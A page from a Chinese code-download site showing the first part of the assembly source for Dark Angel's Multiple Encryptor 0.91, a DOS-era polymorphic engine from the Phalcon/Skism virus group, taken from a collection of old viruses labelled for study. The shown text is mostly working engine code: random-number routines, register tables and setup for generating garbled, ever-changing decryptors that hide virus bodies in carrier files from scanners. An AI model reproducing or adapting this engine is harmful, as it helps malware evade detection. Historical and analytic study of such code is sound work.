⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dame091.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
comment #

                        Dark Angel's Multiple Encryptor
                                 Version 0.91
                        By Dark Angel of Phalcon/Skism

        This source may be freely distributed.  Modifications are
        encouraged and modified redistribution is allowed provided
        this notice and the revision history to date are not altered.
        You are free to append to the revision history and update the
        usage information.

 Welcome to the source code for Dark Angel's Multiple Encryptor.
 I, Dark Angel, will be your host for this short excursion through
 a pretty nifty encryptor.

 DAME 0.90 (1574 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Initial release.

 DAME 0.91 (1960 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Source code commented.

   The user no longer needs to call the encryption routine manually;
   the routine calls it automatically.  This makes DAME a bit more
   "user friendly."

   Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
   is now supported.

   Added "double-reference" encryptions.  Example:
        mov     ax,[bx+3212]
        xor     ax,3213
        mov     [bx+3212],ax

   There is now a bitflag option to generate a decryptor which will transfer
   control to the buffer on a paragraph boundary.

   There is now a 1% chance that no encryption will be encoded when
   the "do_encrypt1" routine is called.  Of course, null effect
   encryptors may still be generated.

   garble_jmpcond is much more robust.  It can now put valid instructions
   between the conditional jump and the target of the jump.  Therefore,
   there is no longer a multitude of JZ $+2's and the like.  Instead, they
   are replaced by JZ $+4, XOR BX,BX, for example.

   The register tracker is cleared after the loop is completed.  This makes
   sense, since the registers are no longer needed.  This also allows for the
   manipulation of those used registers in the garbling after the loop is
   completed.

   Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
   MOVes added.  Memory PUSHes and POPs are now supported.

   The maximum nesting value is now the variable _maxnest, which can range
   from 0 to MAXNEST.  _maxnest is determined randomly at runtime.  This makes
   the decryption routines a bit more interesting.  _nest is also cleared more
   times during the run so that variability is continuous throughout.

   Short decryptor option added.  This is automatically used when generating
   the encryptor so the encryptor will always be of minimal length.

   More alignments are now possible.  This makes the initial values of the
   registers more flexible.

   BUG FIXES:

   BP is now preserved on exit

   Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
   See routine named "clear_PIQ"

   Loopnz routines had possibility of not working properly; instruction
   eliminated.

   NOTES:

   I forgot to give credit to the person from whom I stole the random number
   routines.  I took them from the routine embedded in TPE 1.x (I misremember
   the version number).  Many thanks to Masud Khafir!

   USAGE:

   ON ENTRY:
     ax = flags
       bit 15 : Use two registers for pointer : 0 = no, 1 = yes
       bit 14 : Align size : 0 = word, 1 = dword
       bit 13 : Encryption direction : 0 = forwards, 1 = backwards
       bit 12 : Counter direction : 0 = forwards, 1 = backwards
       bit 11 : Counter register used : 0 = no, 1 = yes
       bit 10 : Temporary storage for double reference
       bit  9 : Unused
       bit  8 : Unused
       bit  7 : Unused
       bit  6 : Unused
       bit  5 : Unused
       bit  4 : Unused
       bit  3 : return control on paragraph boundary : 1 = yes, 0 = no
       bit  2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
       bit  1 : garble : 1 = yes, 0 = no
       bit  0 : SS = DS = CS : 1 = yes, 0 = no
     bx = start decrypt in carrier file
     cx = encrypt length
     dx = start encrypt
     si = buffer to put decryption routine
     di = buffer to put encryption routine

     ds = cs on entry
     es = cs on entry

   RETURNS:
     cx = decryption routine length
     DF cleared
     all other registers are preserved.
     The RADIX is set to 16d.

   NOTES:

   rnd_init_seed is _not_ called by DAME.  The user must explicitly call it.

   The buffer containing the routine to be encrypted should be 20 bytes
   larger than the size of the routine.  This allows padding to work.

   The decryption routine buffer should be rather large to accomodate the
   large decryptors which may be generated.

   The encryption routine buffer need not be very large; 80h bytes should
   suffice.  90d bytes is probably enough, but this value is untested.
#

.radix 10h

ifndef vars
        vars = 2
endif

if not vars eq 1        ; if (vars != 1)

_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7

_es = 8
_cs = 9
_ss = 0a
_ds = 0bh

; The constant MAXNEST determines the maximum possible level of nesting
; possible in any generated routine.  If the value is too large, then
; recursion problems will cause a stack overflow and the program will
; crash.  So don't be too greedy.  0Ah is a safe value to use for non-
; resident viruses.  Use smaller values for resident viruses.
ifndef MAXNEST          ; User may define MAXNEST prior to including
        MAXNEST = 0a    ; the DAME source code. The user's value will
endif                   ; then take precedence

rnd_init_seed:
        push    dx cx bx
        mov     ah,2C                   ; get time
        int     21

        in      al,40                   ; port 40h, 8253 timer 0 clock
        mov     ah,al
        in      al,40                   ; port 40h, 8253 timer 0 clock
        xor     ax,cx
        xor     dx,ax
        jmp     short rnd_get_loop_done
get_rand:
        push    dx cx bx
        in      al,40                   ; get from timer 0 clock
        db      5 ; add ax, xxxx
rnd_get_patch1  dw      0
                db      0BA  ; mov dx, xxxx
rnd_get_patch2  dw      0
        mov     cx,7

rnd_get_loop:
        shl     ax,1
        rcl     dx,1
        mov     bl,al
        xor     bl,dh
        jns     rnd_get_loop_loc
        inc     al
rnd_get_loop_loc:
        loop    rnd_get_loop

rnd_get_loop_done:
        mov     rnd_get_patch1,ax
        mov     rnd_get_patch2,dx
        mov     al,dl
        pop     bx cx dx
        retn

reg_table1:
              ; reg1 reg2 mod/00/rm   This is used to handle memory addressing
        db       _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
        db       _bp, 84, 10000110b ; if (reg2 == 84)
        db       _di, 84, 10000101b ;    reg2 = NULL;
        db       _si, 84, 10000100b

        db      _bp, _di, 10000011b
        db      _bp, _si, 10000010b
        db      _bx, _di, 10000001b
        db      _bx, _si, 10000000b
        db      _di, _bp, 10000011b
        db      _si, _bp, 10000010b
        db      _di, _bx, 10000001b
        db      _si, _bx, 10000000b

aligntable      db      3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks

redo_dame:
        pop     di bp si dx cx bx ax
dame:   ; Dark Angel's Multiple Encryptor
        cld
        push    ax bx cx dx si bp di
        call    _dame
        pop     di
        push    cx di
        call    di
        pop     di cx bp si dx bx bx ax
        ret

_dame:  ; set up initial values of the variables
        cld
        push    ax

        mov     ax,offset _encryptpointer
        xchg    ax,di                           ; save the pointer to the
        stosw                                   ; encryption routine buffer
        xchg    si,ax                           ; also save the pointer to
        stosw                                   ; the decryption routine
                                                ; buffer in the same manner
        stosw

        xchg    ax,dx                           ; starting offset of
        stosw                                   ; encryption
        xchg    ax,bx                           ; starting offset of
        stosw                                   ; decryption routine

        xchg    cx,dx                           ; dx = encrypt size

        xor     ax,ax
        mov     cx,(endclear1 - beginclear1) / 2; clear additional data
        rep     stosw                           ; area

        call    get_rand                        ; get a random number
        and     ax,not 0f                       ; clear user-defined bits

        pop     cx                              ; cx = bitmask
        xor     cx,ax                           ; randomize top bits

        call    get_rand_bx                     ; get a random number
        and     bx,7                            ; and lookup in the table
        mov     al,byte ptr [bx+aligntable]     ; for a random rounding size
        cbw
        add     dx,ax                           ; round the encryption
        not     ax                              ; size to next word, dword,
        and     dx,ax                           ; etc.

        mov     ax,dx                           ; save the new encryption
        stosw                                   ; length (_encrypt_length)

        shr     ax,1                            ; convert to words
        test    ch,40                           ; encrypting double wordly?
        jz      word_encryption                 ; nope, only wordly encryption
        shr     ax,1                            ; convert to double words
word_encryption:                                ; all the worldly encryption
        test    ch,10                           ; shall do thee no good, my
        jnz     counter_backwards               ; child, lest you repent for
        neg     ax                              ; the sins of those who would
counter_backwards:                              ; bring harm unto others
        stosw                                   ; save _counter_value
        push    dx                              ; Save rounded length

        call    get_rand                        ; get a random value for the
        stosw                                   ; encryption value
                                                ; (_decrypt_value)
        pop     ax                              ; get rounded encryption length
                                                ; in bytes
        test    ch,20                           ; is the encryption to run
        jnz     encrypt_forwards                ; forwards or backwards?
        neg     ax                              ; Adjust for forwards
encrypt_forwards:
        xor     bx,bx                           ; Assume pointer_value2 = 0

        test    ch,80                           ; Dual pointer registers?
        jz      no_dual
        call    get_rand_bx
        sub     ax,bx
no_dual:stosw                                   ; Save the pointers to the
        xchg    ax,bx                           ; decryption (_pointer_value1
        stosw                                   ; and _pointer_value2)

; The following lines determine the registers that go with each function.
; There are a maximum of four variable registers in each generated
; encryption/decryption routine pair -- the counter, two pointer registers,
; and an encryption value register.  Only one pointer register need be present
; in the pair; the other three registers are present only if they are needed.

s0:     call    clear_used_regs                 
        mov     di,offset _counter_reg
        mov     al,84                           ; Assume no counter register
        test    ch,8                            ; Using a counter register?

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -